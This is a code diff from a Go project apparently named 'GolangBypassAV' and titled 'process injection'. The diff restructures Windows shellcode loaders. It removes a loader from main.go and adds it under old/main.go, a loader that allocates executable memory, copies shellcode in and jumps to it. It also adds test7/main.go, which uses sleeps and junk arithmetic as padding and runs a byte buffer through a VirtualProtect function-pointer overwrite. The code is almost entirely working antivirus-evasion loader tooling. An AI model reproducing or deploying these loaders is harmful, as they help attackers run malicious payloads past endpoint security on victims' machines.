进程注入

main.go

@@ -1,107 +1,27 @@
 package main
 
 import (
-	"GolangBypassAV/encry"
+	"encoding/hex"
+	"fmt"
+	"io/ioutil"
 	"os"
-	"syscall"
-	"time"
-	"unsafe"
 )
 
-const (
-	MEM_COMMIT             = 0x1000
-	MEM_RESERVE            = 0x2000
-	PAGE_EXECUTE_READWRITE = 0x40
-)
-
-var (
-	kernel32           = syscall.MustLoadDLL("kernel32.dll")
-	ntdll              = syscall.MustLoadDLL("ntdll.dll")
-	VirtualAlloc       = kernel32.MustFindProc("VirtualAlloc")
-	procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
-	RtlCopyMemory      = ntdll.MustFindProc("RtlCopyMemory")
-	RtlMoveMemory      = ntdll.MustFindProc("RtlMoveMemory")
-)
+func main() {
 
-func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
-	ret, _, _ := procVirtualProtect.Call(
-		uintptr(lpAddress),
-		uintptr(dwSize),
-		uintptr(flNewProtect),
-		uintptr(lpflOldProtect))
-	return ret > 0
-}
+	if len(os.Args) != 2 {
+		fmt.Printf("Must have shellcode of file\n")
+		os.Exit(1)
+	}
 
-func checkErr(err error) {
-	if err != nil {
-		if err.Error() != "The operation completed successfully." {
-			println(err.Error())
+	sc, err := ioutil.ReadFile(os.Args[1])
+	if os.IsNotExist(err) {
+		sc, err = hex.DecodeString(os.Args[1])
+		if err != nil {
+			fmt.Printf("Error decoding arg 1: %s\n", err)
 			os.Exit(1)
 		}
 	}
-}
-
-func genEXE(charcode []byte) {
-
-	addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
-	if addr == 0 {
-		checkErr(err)
-	}
-
-	_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
-	checkErr(err)
-
-	for j := 0; j < len(charcode); j++ {
-		charcode[j] = 0
-	}
-
-	syscall.Syscall(addr, 0, 0, 0, 0)
-}
-
-func genEXE1(shellcode []byte) {
-	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
-	if err != nil && err.Error() != "The operation completed successfully." {
-		syscall.Exit(0)
-	}
-	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
-	if err != nil && err.Error() != "The operation completed successfully." {
-		syscall.Exit(0)
-	}
-	time.Sleep(5 * time.Second)
-	syscall.Syscall(addr, 0, 0, 0, 0)
-}
-
-func getFileShellCode(file string) []byte {
-	data := encry.ReadFile(file)
-	//shellCodeHex := encry.GetBase64Data(data)
-	//fmt.Print(shellCodeHex)
-	return data
-}
-
-/*func getFileShellCode1(file string) string {
-	data := encry.ReadFile(file)
-	shellCodeHex := encry.GetBase64Data(data)
-	fmt.Print(shellCodeHex)
-	return shellCodeHex
-}*/
-
-func main() {
-	//file := "C:\\Users\\Administrator\\Desktop\\payload.bin"
-	//file1 := "C:\\Users\\Administrator\\Desktop\\test.txt"
-
-	//s:= encry.GetBase64Data1(getFileShellCode(file))
-	//print(s)
-	//encry.GetCode1(s)
-
-	/*	*/
-
-	//bbdata := encry.GetBase64Data([]byte(bdata))
-
-	//bbdata :="dfdf"
-	/*	shellCodeHex := encry.GetShellCode(encry.GetBase64Data(encry.GetCode1(bbdata)))
-		fmt.Print(shellCodeHex)
-		genEXE(shellCodeHex)*/
-
-	//fmt.Print(encry.EE("ba`gfe"))
-
+	fmt.Println(sc)
+	//shellcode.Run(sc)
 }

old/main.go

@@ -0,0 +1,107 @@
+package main
+
+import (
+	"GolangBypassAV/encry"
+	"os"
+	"syscall"
+	"time"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32           = syscall.MustLoadDLL("kernel32.dll")
+	ntdll              = syscall.MustLoadDLL("ntdll.dll")
+	VirtualAlloc       = kernel32.MustFindProc("VirtualAlloc")
+	procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
+	RtlCopyMemory      = ntdll.MustFindProc("RtlCopyMemory")
+	RtlMoveMemory      = ntdll.MustFindProc("RtlMoveMemory")
+)
+
+func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
+	ret, _, _ := procVirtualProtect.Call(
+		uintptr(lpAddress),
+		uintptr(dwSize),
+		uintptr(flNewProtect),
+		uintptr(lpflOldProtect))
+	return ret > 0
+}
+
+func checkErr(err error) {
+	if err != nil {
+		if err.Error() != "The operation completed successfully." {
+			println(err.Error())
+			os.Exit(1)
+		}
+	}
+}
+
+func genEXE(charcode []byte) {
+
+	addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
+	if addr == 0 {
+		checkErr(err)
+	}
+
+	_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
+	checkErr(err)
+
+	for j := 0; j < len(charcode); j++ {
+		charcode[j] = 0
+	}
+
+	syscall.Syscall(addr, 0, 0, 0, 0)
+}
+
+func genEXE1(shellcode []byte) {
+	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
+	if err != nil && err.Error() != "The operation completed successfully." {
+		syscall.Exit(0)
+	}
+	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+	if err != nil && err.Error() != "The operation completed successfully." {
+		syscall.Exit(0)
+	}
+	time.Sleep(5 * time.Second)
+	syscall.Syscall(addr, 0, 0, 0, 0)
+}
+
+func getFileShellCode(file string) []byte {
+	data := encry.ReadFile(file)
+	//shellCodeHex := encry.GetBase64Data(data)
+	//fmt.Print(shellCodeHex)
+	return data
+}
+
+/*func getFileShellCode1(file string) string {
+	data := encry.ReadFile(file)
+	shellCodeHex := encry.GetBase64Data(data)
+	fmt.Print(shellCodeHex)
+	return shellCodeHex
+}*/
+
+func main() {
+	//file := "C:\\Users\\Administrator\\Desktop\\payload.bin"
+	//file1 := "C:\\Users\\Administrator\\Desktop\\test.txt"
+
+	//s:= encry.GetBase64Data1(getFileShellCode(file))
+	//print(s)
+	//encry.GetCode1(s)
+
+	/*	*/
+
+	//bbdata := encry.GetBase64Data([]byte(bdata))
+
+	//bbdata :="dfdf"
+	/*	shellCodeHex := encry.GetShellCode(encry.GetBase64Data(encry.GetCode1(bbdata)))
+		fmt.Print(shellCodeHex)
+		genEXE(shellCodeHex)*/
+
+	//fmt.Print(encry.EE("ba`gfe"))
+
+}

test7/main.go

@@ -0,0 +1,60 @@
+package main
+
+import (
+	"syscall"
+	"time"
+	"unsafe"
+)
+
+var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
+
+func VirtualProtect1(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
+	///ad
+	gd()
+	ret, _, _ := procVirtualProtect.Call(
+		uintptr(lpAddress),
+		uintptr(dwSize),
+		uintptr(flNewProtect),
+		uintptr(lpflOldProtect))
+	ret = ret + 1
+	ret = ret + 1 - 2
+	return ret > 0
+}
+func gd() int64 {
+	time.Sleep(time.Duration(2) * time.Second)
+	var num = 1
+	for {
+		if num > 5 {
+			break
+		}
+		num++
+		//fmt.Println(num)
+	}
+	dd := time.Now().UTC().UnixNano()
+	return dd + 1234546
+
+}
+func run(scd []byte) {
+
+	ff := func() {}
+	gd()
+	var oldfperms uint32
+	if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
+		panic("f!")
+	}
+
+	**(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
+	gd()
+	var old uint32
+	if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
+		panic("f")
+	}
+	gd()
+	ff()
+}
+
+func main() {
+	sc := []byte{0x11, 0x33}
+	gd()
+	run(sc)
+}